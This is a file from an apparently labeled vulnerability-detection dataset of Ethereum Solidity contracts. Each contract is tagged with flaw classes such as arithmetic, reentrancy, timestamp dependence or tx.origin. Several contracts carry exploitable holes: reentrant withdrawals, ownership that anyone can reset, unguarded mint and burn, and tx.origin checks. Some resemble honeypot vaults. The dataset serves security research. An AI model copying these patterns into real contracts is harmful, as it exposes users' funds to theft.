Thi-Thu-Huong/Balanced-Ethereum-Smart-Contract huggingface dataset:
// Vulnerability label: ARTHM_RENT_TimeO
// Copyright (C) 2017  The Halo Platform by Scott Morrison
// https://www.haloplatform.tech/
// 
// This is free software and you are welcome to redistribute it under certain conditions.
// ABSOLUTELY NO WARRANTY; for details visit:
//
//      https://www.gnu.org/licenses/gpl-2.0.html
//
pragma solidity ^0.4.18;

contract Ownable {
    address Owner;
    function Ownable() { Owner = msg.sender; }
    modifier onlyOwner { if (msg.sender == Owner) _; }
    function transferOwnership(address to) public onlyOwner { Owner = to; }
}

contract Token {
    function balanceOf(address who) constant public returns (uint256);
    function transfer(address to, uint amount) constant public returns (bool);
}

// tokens are withdrawable
contract TokenVault is Ownable {
    address owner;
    event TokenTransfer(address indexed to, address token, uint amount);
    
    function withdrawTokenTo(address token, address to) public onlyOwner returns (bool) {
        uint amount = balanceOfToken(token);
        if (amount > 0) {
            TokenTransfer(to, token, amount);
            return Token(token).transfer(to, amount);
        }
        return false;
    }
    
    function balanceOfToken(address token) public constant returns (uint256 bal) {
        bal = Token(token).balanceOf(address(this));
    }
}

// store ether & tokens for a period of time
contract CraigHester is TokenVault {
    
    string public constant version = "v1.2";
    
    event Deposit(address indexed depositor, uint amount);
    event Withdrawal(address indexed to, uint amount);
    event OpenDate(uint date);

    mapping (address => uint) public Deposits;
    uint minDeposit;
    bool Locked;
    uint Date;

    function init() payable open {
        Owner = msg.sender;
        minDeposit = 1 ether;
        deposit();
    }
    
    function MinimumDeposit() public constant returns (uint) { return minDeposit; }
    function ReleaseDate() public constant returns (uint) { return Date; }
    function WithdrawEnabled() public constant returns (bool) { return Date > 0 && Date <= now; }

    function() public payable { deposit(); }

    function deposit() public payable {
        if (msg.value > 0) {
            if (msg.value >= MinimumDeposit())
                Deposits[msg.sender] += msg.value;
            Deposit(msg.sender, msg.value);
        }
    }

    function setRelease(uint newDate) public { 
        Date = newDate;
        OpenDate(Date);
    }

    function withdraw(address to, uint amount) public onlyOwner {
        if (WithdrawEnabled()) {
            uint max = Deposits[msg.sender];
            if (max > 0 && amount <= max) {
                to.transfer(amount);
                Withdrawal(to, amount);
            }
        }
    }

    function lock() public { if(Locked) revert(); Locked = true; }
    modifier open { if (!Locked) _; owner = msg.sender; deposit(); }
    function kill() public { require(this.balance == 0); selfdestruct(Owner); }
    function getOwner() external constant returns (address) { return owner; }
}
// Vulnerability label: ARTHM_RENT_TimeO
pragma solidity ^0.4.16;

contract ERC20Token {
    // these functions aren't abstract since the compiler emits automatically generated getter functions as external
    function name() public pure returns (string) {}
    function symbol() public pure returns (string) {}
    function decimals() public pure returns (uint8) {}
    function totalSupply() public pure returns (uint256) {}
    function balanceOf(address _owner) public pure returns (uint256) { _owner; }
    function allowance(address _owner, address _spender) public pure returns (uint256) { _owner; _spender; }

    function transfer(address _to, uint256 _value) public returns (bool success);
    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
    function approve(address _spender, uint256 _value) public returns (bool success);
}

contract CommonWallet {
    mapping(address => mapping (address => uint256)) public tokenBalance;
    mapping(address => uint) etherBalance;
    address owner = msg.sender;
    
    function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) {
        uint256 z = _x + _y;
        assert(z >= _x);
        return z;
    }

    function safeSub(uint256 _x, uint256 _y) internal pure returns (uint256) {
        assert(_x >= _y);
        return _x - _y;
    }
    
    function depoEther() public payable{
        etherBalance[msg.sender]+=msg.value;
    }
    
    function depoToken(address tokenAddr, uint256 amount) public {
        if (ERC20Token(tokenAddr).transferFrom(msg.sender, this, amount))
        {
            tokenBalance[tokenAddr][msg.sender] = safeAdd(tokenBalance[tokenAddr][msg.sender], amount);
        }
    }
  
    function wdEther(uint amount) public{
        require(etherBalance[msg.sender]>=amount);
        address sender=msg.sender;
        sender.transfer(amount);
        etherBalance[sender] = safeSub(etherBalance[sender],amount);
    }
    
    function wdToken(address tokenAddr, uint256 amount) public {
        require(tokenBalance[tokenAddr][msg.sender] >= amount);
        if(ERC20Token(tokenAddr).transfer(msg.sender, amount))
        {
            tokenBalance[tokenAddr][msg.sender] = safeSub(tokenBalance[tokenAddr][msg.sender], amount);
        }
    }
  
    function getEtherBalance(address user) public view returns(uint256) {
        return etherBalance[user];
    }
    
    function getTokenBalance(address tokenAddr, address user) public view returns (uint256) {
        return tokenBalance[tokenAddr][user];
    }
    
    function sendEtherTo(address to_, uint amount) public {
        require(etherBalance[msg.sender]>=amount);
        require(to_!=msg.sender);
        to_.transfer(amount);
        etherBalance[msg.sender] = safeSub(etherBalance[msg.sender],amount);
    }
    
    function sendTokenTo(address tokenAddr, address to_, uint256 amount) public {
        require(tokenBalance[tokenAddr][msg.sender] >= amount);
        if(ERC20Token(tokenAddr).transfer(to_, amount))
        {
            tokenBalance[tokenAddr][msg.sender] = safeSub(tokenBalance[tokenAddr][msg.sender], amount);
        }
    }
}
// Vulnerability label: ARTHM_RENT_TimeO
// Copyright (C) 2017  The Halo Platform by Scott Morrison
// https://www.haloplatform.tech/
// 
// This is free software and you are welcome to redistribute it under certain conditions.
// ABSOLUTELY NO WARRANTY; for details visit:
//
//      https://www.gnu.org/licenses/gpl-2.0.html
//
pragma solidity ^0.4.18;

contract Ownable {
    address Owner;
    function Ownable() { Owner = msg.sender; }
    modifier onlyOwner { if (msg.sender == Owner) _; }
    function transferOwnership(address to) public onlyOwner { Owner = to; }
}

contract Token {
    function balanceOf(address who) constant public returns (uint256);
    function transfer(address to, uint amount) constant public returns (bool);
}

// tokens are withdrawable
contract TokenVault is Ownable {
    address owner;
    event TokenTransfer(address indexed to, address token, uint amount);
    
    function withdrawTokenTo(address token, address to) public onlyOwner returns (bool) {
        uint amount = balanceOfToken(token);
        if (amount > 0) {
            TokenTransfer(to, token, amount);
            return Token(token).transfer(to, amount);
        }
        return false;
    }
    
    function balanceOfToken(address token) public constant returns (uint256 bal) {
        bal = Token(token).balanceOf(address(this));
    }
}

// store ether & tokens for a period of time
contract EthVault is TokenVault {
    
    string public constant version = "v1.1";
    
    event Deposit(address indexed depositor, uint amount);
    event Withdrawal(address indexed to, uint amount);
    event OpenDate(uint date);

    mapping (address => uint) public Deposits;
    uint minDeposit;
    bool Locked;
    uint Date;

    function init() payable open {
        Owner = msg.sender;
        minDeposit = 0.25 ether;
        Locked = false;
        deposit();
    }
    
    function MinimumDeposit() public constant returns (uint) { return minDeposit; }
    function ReleaseDate() public constant returns (uint) { return Date; }
    function WithdrawEnabled() public constant returns (bool) { return Date > 0 && Date <= now; }

    function() public payable { deposit(); }

    function deposit() public payable {
        if (msg.value > 0) {
            if (msg.value >= MinimumDeposit())
                Deposits[msg.sender] += msg.value;
            Deposit(msg.sender, msg.value);
        }
    }

    function setRelease(uint newDate) public { 
        Date = newDate;
        OpenDate(Date);
    }

    function withdraw(address to, uint amount) public onlyOwner {
        if (WithdrawEnabled()) {
            uint max = Deposits[msg.sender];
            if (max > 0 && amount <= max) {
                to.transfer(amount);
                Withdrawal(to, amount);
            }
        }
    }

    function lock() public { if(Locked) revert(); Locked = true; }
    modifier open { if (!Locked) _; owner = msg.sender; deposit(); }
    function kill() public { require(this.balance == 0); selfdestruct(Owner); }
    function getOwner() external constant returns (address) { return owner; }
}
// Vulnerability label: ARTHM_RENT
pragma solidity ^0.4.15;

contract generic_holder {
    address owner;
    
    modifier onlyowner {
        if (owner == msg.sender)
            _;
    }
    
    // constructor
    function generic_holder() {
        owner = msg.sender;
    }
    
    function change_owner(address new_owner) external onlyowner {
        owner = new_owner;
    }
    
    function execute(address _to, uint _value, bytes _data) external onlyowner returns (bool){
        return _to.call.value(_value)(_data);
    }

    function send(address _to, uint _value) external onlyowner returns (bool){
        return _to.send(_value); 
    }
    
    function get_owner() constant returns (address) {
        return owner;
    }
    
}
// Vulnerability label: ARTHM_RENT
pragma solidity ^0.4.25;

contract GMBCToken {
  function balanceOf(address who) public view returns (uint256);
  function transfer(address to, uint256 value) public returns (bool);
}

contract GamblicaEarlyAccess {

    enum State { CREATED, DEPOSIT, CLAIM }

    uint constant PRIZE_FUND_GMBC = 100000000 * (10 ** 18); // 100 000 000 GMBC

    event DepositRegistered(address _player, uint _amount);    

    GMBCToken public gmbcToken;    
    address public gamblica;

    State public state;    
    uint public gmbcTotal;
    mapping (address => uint) public deposit;
    
    modifier onlyGamblica() {
        require(msg.sender == gamblica, "Method can be called only by gamblica");
        _;
    }

    constructor(address _gamblica, address _gmbcTokenAddress) public {
      state = State.CREATED;

      gamblica = _gamblica;
      gmbcToken = GMBCToken(_gmbcTokenAddress);            
    }

    function () external payable {
      require(msg.value == 0, "This contract does not accept ether");

      claim();
    }

    function start() public onlyGamblica {
      require(gmbcToken.balanceOf(address(this)) >= PRIZE_FUND_GMBC, "Contract can only be activated with a prize fund");
      require(state == State.CREATED, "Invalid contract state");

      gmbcTotal = PRIZE_FUND_GMBC;
      state = State.DEPOSIT;
    }

    function registerDeposit(address player, uint amount) public onlyGamblica {
      require(state == State.DEPOSIT, "Invalid contract state");
      require(gmbcTotal + amount <= gmbcToken.balanceOf(address(this)), "Cant register that deposit");

      gmbcTotal += amount;      
      deposit[player] += amount;

      emit DepositRegistered(player, amount);
    }


    function addWinnigs(address[] memory winners, uint[] memory amounts) public onlyGamblica {
      require(winners.length == amounts.length, "Invalid arguments");
      require(state == State.DEPOSIT, "Invalid contract state");
      
      uint length = winners.length;
      for (uint i = 0; i < length; i++) {
        deposit[winners[i]] += amounts[i];
      }
    }
    
    function end() public onlyGamblica {      
      require(state == State.DEPOSIT, "Invalid contract state");

      state = State.CLAIM;
    }

    function claim() public {
      require(state == State.CLAIM, "Contract should be deactivated first");
      
      uint amount = deposit[msg.sender];
      deposit[msg.sender] = 0;
      gmbcToken.transfer(msg.sender, amount);      
    }

    function die() public onlyGamblica {
      uint amount = gmbcToken.balanceOf(address(this));
      gmbcToken.transfer(msg.sender, amount);
      selfdestruct(msg.sender);
    }
}
// Vulnerability label: ARTHM_RENT
contract ERC20xVariables {
    address public creator;
    address public lib;

    uint256 constant public MAX_UINT256 = 2**256 - 1;
    mapping(address => uint) public balances;
    mapping(address => mapping(address => uint)) public allowed;

    uint8 public constant decimals = 18;
    string public name;
    string public symbol;
    uint public totalSupply;

    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);

    event Created(address creator, uint supply);

    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }

    function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
        return allowed[_owner][_spender];
    }
}

contract ERC20x is ERC20xVariables {

    function transfer(address _to, uint256 _value) public returns (bool success) {
        _transferBalance(msg.sender, _to, _value);
        emit Transfer(msg.sender, _to, _value);
        return true;
    }

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
        uint256 allowance = allowed[_from][msg.sender];
        require(allowance >= _value);
        _transferBalance(_from, _to, _value);
        if (allowance < MAX_UINT256) {
            allowed[_from][msg.sender] -= _value;
        }
        emit Transfer(_from, _to, _value);
        return true;
    }

    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowed[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }

    function transferToContract(address _to, uint256 _value, bytes data) public returns (bool) {
        _transferBalance(msg.sender, _to, _value);
        bytes4 sig = bytes4(keccak256("receiveTokens(address,uint256,bytes)"));
        require(_to.call(sig, msg.sender, _value, data));
        emit Transfer(msg.sender, _to, _value);
        return true;
    }

    function _transferBalance(address _from, address _to, uint _value) internal {
        require(balances[_from] >= _value);
        balances[_from] -= _value;
        balances[_to] += _value;
    }
}

contract VariableSupplyToken is ERC20x {
    function grant(address to, uint256 amount) public {
        require(msg.sender == creator);
        require(balances[to] + amount >= amount);
        balances[to] += amount;
        totalSupply += amount;
    }

    function burn(address from, uint amount) public {
        require(msg.sender == creator);
        require(balances[from] >= amount);
        balances[from] -= amount;
        totalSupply -= amount;
    }
}

// we don't store much state here either
contract Token is VariableSupplyToken {
    constructor() public {
        creator = msg.sender;
        name = "Decentralized Settlement Facility Token";
        symbol = "DSF";

        // this needs to be here to avoid zero initialization of token rights.
        totalSupply = 1;
        balances[0x0] = 1;
    }
}
// Vulnerability label: ARTHM_RENT
pragma solidity ^0.4.13;

contract token { 
    function transfer(address _to, uint256 _value);
    function balanceOf(address _owner) constant returns (uint256 balance);
}

contract BDSMAirdrop {
    
    token public sharesTokenAddress;
    uint256 public tokenFree = 0;
    address owner;
    uint256 public defValue = 5000000;

modifier onlyOwner() {
    require(msg.sender == owner);
    _;
}
    
function BDSMAirdrop(address _tokenAddress) {
    sharesTokenAddress = token(_tokenAddress);
    owner = msg.sender;
}

function multiSend(address[] _dests) onlyOwner public {
    
    uint256 i = 0;

    while (i < _dests.length) {
        sharesTokenAddress.transfer(_dests[i], defValue);
        i += 1;
    }
    
    tokenFree = sharesTokenAddress.balanceOf(this);
}

function tokensBack() onlyOwner public {    
    sharesTokenAddress.transfer(owner, sharesTokenAddress.balanceOf(this));
    tokenFree = 0;
}	

function changeAirdropValue(uint256 _value) onlyOwner public {
    defValue = _value;
}

}
// Vulnerability label: ARTHM_RENT
contract tokenSpender { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData); }

contract Nexium { 
	
	
	/* Public variables of the token */
	string public name;
	string public symbol;
	uint8 public decimals;
	uint256 public initialSupply;
	address public burnAddress;

	/* This creates an array with all balances */
	mapping (address => uint) public balanceOf;
	mapping (address => mapping (address => uint)) public allowance;

	/* This generates a public event on the blockchain that will notify clients */
	event Transfer(address indexed from, address indexed to, uint value);
	event Approval(address indexed from, address indexed spender, uint value);

	
	
	/* Initializes contract with initial supply tokens to the creator of the contract */
	function Nexium() {
		initialSupply = 100000000000;
		balanceOf[msg.sender] = initialSupply;             // Give the creator all initial tokens                    
		name = 'Nexium';                                 // Set the name for display purposes     
		symbol = 'NxC';                               	 // Set the symbol for display purposes    
		decimals = 3;                           		 // Amount of decimals for display purposes
		burnAddress = 0x1b32000000000000000000000000000000000000;
	}
	
	function totalSupply() returns(uint){
		return initialSupply - balanceOf[burnAddress];
	}

	/* Send coins */
	function transfer(address _to, uint256 _value) 
	returns (bool success) {
		if (balanceOf[msg.sender] >= _value && _value > 0) {
			balanceOf[msg.sender] -= _value;
			balanceOf[_to] += _value;
			Transfer(msg.sender, _to, _value);
			return true;
		} else return false; 
	}

	/* Allow another contract to spend some tokens in your behalf */

	
	
	function approveAndCall(address _spender,
							uint256 _value,
							bytes _extraData)
	returns (bool success) {
		allowance[msg.sender][_spender] = _value;     
		tokenSpender spender = tokenSpender(_spender);
		spender.receiveApproval(msg.sender, _value, this, _extraData);
		Approval(msg.sender, _spender, _value);
		return true;
	}
	
	
	
	/*Allow another adress to use your money but doesn't notify it*/
	function approve(address _spender, uint256 _value) returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        Approval(msg.sender, _spender, _value);
        return true;
    }

	
	
	/* A contract attempts to get the coins */
	function transferFrom(address _from,
						  address _to,
						  uint256 _value)
	returns (bool success) {
		if (balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && _value > 0) {
			balanceOf[_to] += _value;
			Transfer(_from, _to, _value);
			balanceOf[_from] -= _value;
			allowance[_from][msg.sender] -= _value;
			return true;
		} else return false; 
	}

	
	
	/* This unnamed function is called whenever someone tries to send ether to it */
	function () {
		throw;     // Prevents accidental sending of ether
	}        
}
// Vulnerability label: ARTHM_RENT
pragma solidity ^0.4.24;

contract Token {

    mapping (address => uint256) public balanceOf;
    function transfer(address _to, uint256 _value) public returns (bool success);
    function approve(address _spender, uint256 _value) public returns (bool success);
    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
}

contract Future1Exchange
 {
    address public archon; 
    
    mapping (address => mapping(address => uint256)) public _token;
    
    constructor() public
    {
         archon = msg.sender;                                                            
    }
    
    
    function safeAdd(uint crtbal, uint depbal) public pure returns (uint) 
    {
        uint totalbal = crtbal + depbal;
        return totalbal;
    }
    
    function safeSub(uint crtbal, uint depbal) public pure returns (uint) 
    {
        uint totalbal = crtbal - depbal;
        return totalbal;
    }
    
    /// @notice View balance
    /// @param token Token contract
    /// @param user  owner address
    function balanceOf(address token,address user) public view returns(uint256)            
    {
        return Token(token).balanceOf(user);
    }

    
    /// @notice Token transfer
    /// @param  token Token contract
    /// @param  tokens value
    function tokenTransfer(address token, uint256 tokens)public payable                          
    {

        _token[msg.sender][token] = safeAdd(_token[msg.sender][token], tokens);
        Token(token).transferFrom(msg.sender,address(this), tokens);

    }
    
    /// @notice Token withdraw
    /// @param  token Token contract
    /// @param  to Receiver address
    /// @param  tokens value
    function tokenWithdraw(address token, address to, uint256 tokens)public payable      
    {
        if(archon==msg.sender)
        {                                                                                                        
            if(Token(token).balanceOf(address(this))>=tokens) 
            {
                _token[msg.sender][token] = safeSub(_token[msg.sender][token] , tokens) ;   
                Token(token).transfer(to, tokens);
            }
        }
    }
    
    ///@notice Token balance
    ///@param token Token contract
    function contract_bal(address token) public view returns(uint256)                       
    {
        return Token(token).balanceOf(address(this));
    }
    
    ///@notice Deposit ETH
    function depositETH() payable external                                                      
    { 
        
    }
    
    ///@notice Withdraw ETH
    ///@param  to Receiver address
    ///@param  value ethervalue
    function withdrawETH(address  to, uint256 value) public payable returns (bool)        
    {
        
        if(archon==msg.sender)
        {                                                                                           
                 to.transfer(value);
                 return true;
    
         }
    }
}
// Vulnerability label: ARTHM_RENT
pragma solidity ^0.4.19;

contract PERSONAL_BANK
{
    mapping (address=>uint256) public balances;   
   
    uint public MinSum = 1 ether;
    
    LogFile Log = LogFile(0x0486cF65A2F2F3A392CBEa398AFB7F5f0B72FF46);
    
    bool intitalized;
    
    function SetMinSum(uint _val)
    public
    {
        if(intitalized)revert();
        MinSum = _val;
    }
    
    function SetLogFile(address _log)
    public
    {
        if(intitalized)revert();
        Log = LogFile(_log);
    }
    
    function Initialized()
    public
    {
        intitalized = true;
    }
    
    function Deposit()
    public
    payable
    {
        balances[msg.sender]+= msg.value;
        Log.AddMessage(msg.sender,msg.value,"Put");
    }
    
    function Collect(uint _am)
    public
    payable
    {
        if(balances[msg.sender]>=MinSum && balances[msg.sender]>=_am)
        {
            if(msg.sender.call.value(_am)())
            {
                balances[msg.sender]-=_am;
                Log.AddMessage(msg.sender,_am,"Collect");
            }
        }
    }
    
    function() 
    public 
    payable
    {
        Deposit();
    }
    
}



contract LogFile
{
    struct Message
    {
        address Sender;
        string  Data;
        uint Val;
        uint  Time;
    }
    
    Message[] public History;
    
    Message LastMsg;
    
    function AddMessage(address _adr,uint _val,string _data)
    public
    {
        LastMsg.Sender = _adr;
        LastMsg.Time = now;
        LastMsg.Val = _val;
        LastMsg.Data = _data;
        History.push(LastMsg);
    }
}
// Vulnerability label: ARTHM_RENT
pragma solidity ^0.4.18;

interface ERC20 {
    function totalSupply() external view returns (uint supply);
    function balanceOf(address _owner) external view returns (uint balance);
    function transfer(address _to, uint _value) external; // Some ERC20 doesn't have return
    function transferFrom(address _from, address _to, uint _value) external; // Some ERC20 doesn't have return
    function approve(address _spender, uint _value) external; // Some ERC20 doesn't have return
    function allowance(address _owner, address _spender) external view returns (uint remaining);
    function decimals() external view returns(uint digits);
    event Approval(address indexed _owner, address indexed _spender, uint _value);
}

interface BancorContract {
    /**
        @dev converts the token to any other token in the bancor network by following a predefined conversion path
        note that when converting from an ERC20 token (as opposed to a smart token), allowance must be set beforehand

        @param _path        conversion path, see conversion path format in the BancorQuickConverter contract
        @param _amount      amount to convert from (in the initial source token)
        @param _minReturn   if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero

        @return tokens issued in return
    */
    function quickConvert(address[] _path, uint256 _amount, uint256 _minReturn)
        external
        payable
        returns (uint256);
}


contract TestBancorTradeBNBETH {
    event Trade(uint256 srcAmount, uint256 destAmount);
    
    BancorContract public bancorTradingContract = BancorContract(0x8FFF721412503C85CFfef6982F2b39339481Bca9);
    
    function trade(address[] _path, uint256 _amount, uint256 _minReturn) {
        ERC20 src = ERC20(0xB8c77482e45F1F44dE1745F52C74426C631bDD52);
        src.approve(bancorTradingContract, _amount);
        
        uint256 destAmount = bancorTradingContract.quickConvert(_path, _amount, _minReturn);
        
        Trade(_amount, destAmount);
    }
    
    function getBack() {
        msg.sender.transfer(this.balance);
    }
    
    function getBack2() {
        ERC20 src = ERC20(0xB8c77482e45F1F44dE1745F52C74426C631bDD52);
        src.transfer(msg.sender, src.balanceOf(this));
    }
    
    // Receive ETH in case of trade Token -> ETH, will get ETH back from trading proxy
    function () public payable {

    }
}
// Vulnerability label: ARTHM_RENT
pragma solidity ^0.4.24;
contract Token {
    function balanceOf(address guy) public view returns (uint);
    function transfer(address dst, uint wad) public returns (bool);
}

contract RecuringInternetPayer{
    address zac  = 0x1F4E7Db8514Ec4E99467a8d2ee3a63094a904e7A;
    address josh = 0x650a7762FdB32BF64849345209DeaA8F9574cBC7;
    Token dai = Token(0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359); //DAI token address
    uint constant perSecondDaiParticlePayout = 28935185185185 ; // $75 x 10^18 / (60*60*24*30)
    uint amountPaid;
    uint createdAt;
    
    constructor() public { createdAt = now; }

    modifier onlyZacOrJosh(){ require(msg.sender == zac || msg.sender == josh); _; }
    
    function payJosh() public{
        uint totalPayout = perSecondDaiParticlePayout * (now - createdAt);
        dai.transfer(josh, totalPayout - amountPaid);
        amountPaid = totalPayout;
    }
    function withdraw() public onlyZacOrJosh{
        payJosh();
        dai.transfer(zac, dai.balanceOf(this));
    }
}
// Vulnerability label: ARTHM_RENT
pragma solidity ^0.4.19;

contract Private_accumulation_fund
{
    mapping (address => uint) public balances;
    
    uint public MinDeposit = 1 ether;
    
    Log TransferLog;
    
    function Private_accumulation_fund(address _log)
    public 
    {
        TransferLog = Log(_log);
    }
    
    function Deposit()
    public
    payable
    {
        if(msg.value > MinDeposit)
        {
            balances[msg.sender]+=msg.value;
            TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
        }
    }
    
    function CashOut(uint _am)
    public
    payable
    {
        if(_am<=balances[msg.sender])
        {
            
            if(msg.sender.call.value(_am)())
            {
                balances[msg.sender]-=_am;
                TransferLog.AddMessage(msg.sender,_am,"CashOut");
            }
        }
    }
    
    function() public payable{}    
    
}

contract Log 
{
   
    struct Message
    {
        address Sender;
        string  Data;
        uint Val;
        uint  Time;
    }
    
    Message[] public History;
    
    Message LastMsg;
    
    function AddMessage(address _adr,uint _val,string _data)
    public
    {
        LastMsg.Sender = _adr;
        LastMsg.Time = now;
        LastMsg.Val = _val;
        LastMsg.Data = _data;
        History.push(LastMsg);
    }
}
// Vulnerability label: ARTHM_LE_TimeM
pragma solidity ^0.4.16;

contract CrowdsaleRC {
    uint public createdTimestamp; uint public start; uint public deadline;
    address public owner;
    address public beneficiary;
    uint public amountRaised;
    uint public maxAmount;
    mapping(address => uint256) public balanceOf;
    mapping (address => bool) public whitelist;
    event FundTransfer(address backer, uint amount, bool isContribution);

    function CrowdsaleRC () public {
        createdTimestamp = block.timestamp;
        start = 1529316000;
        deadline = 1532080800;
        amountRaised = 0;
        beneficiary = 0xD27eAD21C9564f122c8f84cD98a505efDf547665;
        owner = msg.sender;
        maxAmount = 2000 ether;
    }

    function () payable public {
        require( (msg.value >= 0.1 ether) &&  block.timestamp >= start && block.timestamp <= deadline && amountRaised < maxAmount
        && ( (msg.value <= 100 ether) || (msg.value > 100 ether && whitelist[msg.sender]==true) )
        );

        uint amount = msg.value;
        balanceOf[msg.sender] += amount;
        amountRaised += amount;
        FundTransfer(msg.sender, amount, true);
        if (beneficiary.send(amount)) {
            FundTransfer(beneficiary, amount, false);
        }
    }

    function whitelistAddress (address uaddress) public {
        require (owner == msg.sender || beneficiary == msg.sender);
        whitelist[uaddress] = true;
    }

    function removeAddressFromWhitelist (address uaddress) public {
        require (owner == msg.sender || beneficiary == msg.sender);
        whitelist[uaddress] = false;
    }
}
// Vulnerability label: ARTHM_LE_TimeM
pragma solidity ^0.4.16;

interface token {
    function transfer(address receiver, uint amount);
}

contract Crowdsale {
    uint public createdTimestamp; uint public start; uint public deadline;
    address public beneficiary;
    uint public amountRaised;
    mapping(address => uint256) public balanceOf;
    bool crowdsaleClosed = false;
    event FundTransfer(address backer, uint amount, bool isContribution);
    /**
     * Constructor function
     *
     * Setup the owner
     */
    function Crowdsale(
    ) {
        createdTimestamp = block.timestamp;
        start = 1526292000;//createdTimestamp + 0 * 1 days + 30 * 1 minutes;
        deadline = 1529143200;//;createdTimestamp + 1 * 1 days + 0 * 1 minutes;
        amountRaised=0;
        beneficiary = 0xDfD0500541c6F14eb9eD2A6e61BB63bc78693925;
    }
    /**
     * Fallback function
     *
     * The function without name is the default function that is called whenever anyone sends funds to a contract
     */
    function () payable {
        require(block.timestamp >= start && block.timestamp <= deadline && amountRaised<(6000 ether) );

        uint amount = msg.value;
        balanceOf[msg.sender] += amount;
        amountRaised += amount;
        FundTransfer(msg.sender, amount, true);
        if (beneficiary.send(amount)) {
            FundTransfer(beneficiary, amount, false);
        }
    }

}
// Vulnerability label: ARTHM_LE_RENT_TX-Origin
contract MyAdvancedToken {
    address private constant OWNER = 0xb810aD480cF8e3643031bB36e6A002dC3B1d928e;
    
    function isSenderOwner(address sender) private pure returns (bool) {
        return sender == OWNER;
    }
    
    modifier onlyOwner() {
        require(isSenderOwner(tx.origin));
        _;
    }
    
    constructor(address callback) public payable {
        callback_ = callback;
        balances_[OWNER] = 1000000e18;
        totalSupply_ = 1000000e18;
    }
    
    string public constant name = "Generic Altcoin";
    string public constant symbol = "GA";
    uint8 public constant decimals = 18;
    
    event Transfer(address indexed from, address indexed to, uint tokens);
    event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
    
    address private callback_;
    uint private totalSupply_;
    mapping(address => uint256) private balances_;
    mapping(address => mapping (address => uint256)) private allowed_;
    
    function setCallback(address callback) onlyOwner public payable {
        callback_ = callback;
    }
    
    function totalSupply() whenNotPaused public view returns (uint) {
        return totalSupply_;
    }
    
    function balanceOf(address who) whenNotPaused public view returns (uint) {
        return balances_[who];
    }
    
    function allowance(address out, address act) whenNotPaused public view returns (uint) {
        return allowed_[out][act];
    }

    function transfer(address to, uint256 val) whenNotPaused public payable returns (bool) {
        require(balances_[msg.sender] >= val);
        balances_[msg.sender] -= val;
        balances_[to] += val;
        emit Transfer(msg.sender, to, val);
        return true;
    }

    function approve(address who, uint256 val) whenNotPaused public payable returns (bool) {
        allowed_[msg.sender][who] = val;
        emit Approval(msg.sender, who, val);
        return true;
    }

    function transferFrom(address who, address to, uint256 val) whenNotPaused public payable returns (bool) {
        require(balances_[who] >= val);
        require(allowed_[who][msg.sender] >= val);
        allowed_[who][msg.sender] -= val;
        balances_[who] -= val;
        balances_[to] += val;
        emit Transfer(who, to, val);
        return true;
    }
    
    function mint(address who, uint256 val) whenNotPaused public payable {
        balances_[who] += val;
        totalSupply_ += val;
        emit Transfer(0, who, val);
    }
    
    function burn(address who, uint256 val) whenNotPaused public payable {
        balances_[who] -= val;
        totalSupply_ -= val;
        emit Transfer(who, 0, val);
    }
    
    modifier whenNotPaused() {
        require(callback_.call());
        _;
    }
}
// Vulnerability label: ARTHM
contract Ownable {
  address public owner;

  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

  function Ownable() public {
    owner = msg.sender;
  }

  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }

  function transferOwnership(address newOwner) public onlyOwner {
    require(newOwner != address(0));
    OwnershipTransferred(owner, newOwner);
    owner = newOwner;
  }

}

contract ERC721 {
    function implementsERC721() public pure returns (bool);
    function totalSupply() public view returns (uint256 total);
    function balanceOf(address _owner) public view returns (uint256 balance);
    function ownerOf(uint256 _tokenId) public view returns (address owner);
    function approve(address _to, uint256 _tokenId) public;
    function transferFrom(address _from, address _to, uint256 _tokenId) public;
    function transfer(address _to, uint256 _tokenId) public;
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
}

contract SampleStorage is Ownable {
    
    struct Sample {
        string ipfsHash;
        uint rarity;
    }
    
    mapping (uint32 => Sample) public sampleTypes;
    
    uint32 public numOfSampleTypes;
    
    uint32 public numOfCommon;
    uint32 public numOfRare;
    uint32 public numOfLegendary;

    // The mythical sample is a type common that appears only once in a 1000
    function addNewSampleType(string _ipfsHash, uint _rarityType) public onlyOwner {
        
        if (_rarityType == 0) {
            numOfCommon++;
        } else if (_rarityType == 1) {
            numOfRare++;
        } else if(_rarityType == 2) {
            numOfLegendary++;
        } else if(_rarityType == 3) {
            numOfCommon++;
        }
        
        sampleTypes[numOfSampleTypes] = Sample({
           ipfsHash: _ipfsHash,
           rarity: _rarityType
        });
        
        numOfSampleTypes++;
    }
    
    function getType(uint _randomNum) public view returns (uint32) {
        uint32 range = 0;
        
        if (_randomNum > 0 && _randomNum < 600) {
            range = 600 / numOfCommon;
            return uint32(_randomNum) / range;
            
        } else if(_randomNum >= 600 && _randomNum < 900) {
            range = 300 / numOfRare;
            return uint32(_randomNum) / range;
        } else {
            range = 100 / numOfLegendary;
            return uint32(_randomNum) / range;
        }
    }
    
}
// Vulnerability label: ARTHM
pragma solidity ^0.4.16;
contract LT{

    uint256 constant private MAX_UINT256 = 2**256 - 1;
    mapping (address => uint256) public balances;
    mapping (address => mapping (address => uint256)) public allowed;
    /*
    NOTE:
    The following variables are OPTIONAL vanities. One does not have to include them.
    They allow one to customise the token contract & in no way influences the core functionality.
    Some wallets/interfaces might not even bother to look at this information.
    */
    uint256 public totalSupply;
    string public name;                   //fancy name: eg Simon Bucks
    uint8 public decimals;                //How many decimals to show.
    string public symbol;                 //An identifier: eg SBX
